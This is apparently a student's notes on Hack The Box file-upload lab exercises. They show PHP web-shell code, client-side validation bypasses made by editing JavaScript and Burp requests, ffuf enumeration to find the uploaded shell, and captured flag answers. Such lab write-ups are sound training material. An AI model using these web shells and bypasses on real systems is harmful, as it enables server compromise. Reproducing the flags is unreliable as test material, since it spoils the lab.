FILE UPLOAD ATTACKS

ABSENT VALIDATION

Try to upload a PHP script that executes the (hostname) command on the back-end server, and submit the first word of it as the answer.
#determine the language the webapp runs on
root@oco:~$ BROWSER > {targetSite:port} > wappalyzer
 * JavaScript Libraries: JQuery 2.1.3
 
#test whether you can upload a file with the same extension
root@oco:~$ nano test.php
 <?php echo "test";?>

root@oco:~$ BROWSER > {targetSite:port} > upload
 * File successfully uploaded
 * this means that the web application has no file validation on the back-end

#
root@oco:~$ nano fua.php
 <?php system('hostname', $hostnameValue); echo $hostnameValue;?>
 
root@oco:~$ BROWSER > {targetSite:port} > upload
root@oco:~$ BROWSER > {targetSite:port}/uploads/fua.php
 * ng-53539-fileuploadsabsentverification-4wbed-595d9cf54c-xwx95 0

UPLOAD EXPLOITATION

Try to exploit the upload feature to upload a web shell and get the content of /flag.txt
#determine the language the webapp runs on
root@oco:~$ BROWSER > {targetSite:port} > wappalyzer
 * JavaScript Libraries: JQuery 2.1.3
 
#test whether you can upload a file with the same extension
root@oco:~$ nano test.php
 <?php echo "test";?>

root@oco:~$ BROWSER > {targetSite:port} > upload
 * File successfully uploaded
 * this means that the web application has no file validation on the back-end

#
root@oco:~$ nano phpShell.php
 <?php system($_REQUEST['cmd']); ?>
 * this uses the system() function to execute system cmds and prints their output
    - it then passes the output to the cmd parameter with $_REQUEST['cmd']
root@oco:~$ BROWSER > {targetSite:port} > upload

#usage
root@oco:~$ BROWSER > {targetSite:port}/uploads/shell.php > CTRL+U
view-source:http://94.237.53.203:54323/uploads/phpShell.php?cmd=cat /flag.txt
 * HTB{g07_my_f1r57_w3b_5h3ll}
 * try using the source code view [CTRL+U] when executing these
 * the source-view shows the command output as it would be shown in the terminal, without any HTML rendering

CLIENT-SIDE VALIDATION

Try to bypass the client-side file type validations in the above exercise, then upload a web shell to read /flag.txt (try both bypass methods for better practice)

Method 1:

root@oco:~$ BROWSER > {targetSite:port} > CTRL+SHIFT+C > click on the profile image/browse upload button
 * this opens the dev page inspector and will highlight the HTML file input
    - <input type="... accept=".jpg,.jpeg,.png"> == $0
       - can change this to "All Files"
#read how the upload validates the file upload
#the validation occurs in if(validate()){upload()}
root@oco:~$ BROWSER > {targetSite:port} > Console (CTRL+SHIFT+K)
 > validate()
    function validate() {
      var file = $("#uploadFile")[0].files[0];
      var filename = file.name;
      var extension = filename.split('.').pop();

      if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
        $('#error_message').text("Only images are allowed!");
        File.form.reset();
        $("#submit").attr("disabled", true);
        return false;
      } 
      else {
        return true;
      }
    }
 
 * The key thing from this function is where it checks whether the file extension
   is an image, and if it is not, it prints the error message 
   (Only images are allowed!) and disables the Upload button
   
 Modification: Method 1 - rewrite the JS Code to accept php files
 
 if (... && extension !== 'php')
 * save the via CTRL+S to affect change then hit the upload button
 
 Modification: Method 2 - replace the validation <form action="... onsubmit="if(validate()){upload()}">
 
 onsubmit="window.location.reload()"
 * to affect change, hit the upload button
 
root@oco:~$ BROWSER > http://94.237.62.166:38499/profile_images/phpShell.php?cmd=id

 * HTB{cl13n7_51d3_v4l1d4710n_w0n7_570p_m3}

Method 2:

root@oco:~$ nano phpShell.php
 <?php system($_REQUEST['cmd']); ?>
 * this uses the system() function to execute system cmds and prints their output
    - it then passes the output to the cmd parameter with $_REQUEST['cmd']

root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
 upload field: {select image to upload}
 * submit the expected user input
 
BURP > Proxy > Intercept > Raw
 Request
  ...
  
  ------WebKitFormBoundary6f8Db2bmnpKY9rBp
  Content-Disposition: form-data; name="uploadFile"; filename="test.jpg"
  Content-Type: image/jpeg

  ...encoded blurb content of test.jpg...
  ...
  ------WebKitFormBoundary6f8Db2bmnpKY9rBp--


  Modification

   ------WebKitFormBoundary6f8Db2bmnpKY9rBp
   Content-Disposition: form-data; name="uploadFile"; filename="phpShell.php"
   Content-Type: image/jpeg
  * delete the encoded blurb specific to "test.jpg"
  * add in the contents of the php web shell <?php system($_REQUEST['cmd']); ?>
     - the web shell must be in the same directory where the test.jpg file is located
  
  * may also modify the Content-Type of the uploaded file to
     - application/x-www-form-urlencoded --> verify
     
   ------WebKitFormBoundary6f8Db2bmnpKY9rBp--
    
 Response
  ...
  no errors means the back-end server took the uploaded web shell

# Directory & FILE enumeration using FFUF
root@oco:~$ find / -iname directory-list* -type f 2>/dev/null
 * /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
root@oco:~$ cp /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt .
root@oco:~$ BROWSER > {targetSite:port}
 * review the source code to get an idea of where the images will be stored
    - /profile_images/
root@oco:~$ nano directory-list-2.3-small.txt
 profile_images
 phpShell

root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://94.237.62.166:38499/FUZZ -recursion -recursion-depth 1 -e .php -v -ic -t 100 -mc 200
 * the -recursion flag enables recursive scanning
 * the -recursion-depth flag specifies the depth of the recursive scan
    - this cmd specifically fuzzes the main directories and their subdirectories
 * the -e flag specifies the extension
 * the -v flag signifies verbose which outputs the full URL
 * the -ic flag removes wordlist comments
 * -mc 200 means to match using HTTP status code of 200 OK
 
 * identified /profile_images/

#find where the phpShell was stored in the backend server
root@oco:~$ sudo nano findMyWebShell.txt
 phpShell
 * enter the filename of your reverse shell
root@oco:~$ cat findMyWebShell.txt                          
 phpShell

# FILE ENUMERATION USING FFUF
root@oco:~$ ffuf -w findMyWebShell.txt -u http://94.237.62.166:38499/profile_images/FUZZ -e .php -mc 200
 * ALT: CTRL+SHIFT+C then click on the profile image. the URL where the web shell was uploaded will be displayed

#usage
root@oco:~$ BROWSER > {targetSite:port}/profile_images/phpShell.php?cmd=id
 * try using the source code view [CTRL+U] when executing these
 * the source-view shows the command output as it would be shown in the terminal, without any HTML rendering
 
 * HTB{cl13n7_51d3_v4l1d4710n_w0n7_570p_m3}

BLACKLIST FILTERS

Try to find an extension that is not blacklisted and can execute PHP code on the web server, and use it to read "/flag.txt"

WHITELIST FILTERS

The above exercise employs a blacklist and a whitelist test to block unwanted extensions and only allow image extensions. Try to bypass both to upload a PHP script and execute code to read "/flag.txt"

TYPE FILTERS

The above server employs Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters to ensure the uploaded file is an image. Try to combine all of the attacks you learned so far to bypass these filters and upload a PHP file and read the flag at "/flag.txt"

LIMITED FILE UPLOADS

The above exercise contains an upload functionality that should be secure against arbitrary file uploads. Try to exploit it using one of the attacks shown in this section to read "/flag.txt"

Try to read the source code of 'upload.php' to identify the uploads directory, and use its name as the answer. (write it exactly as found in the source, without quotes)

Last updated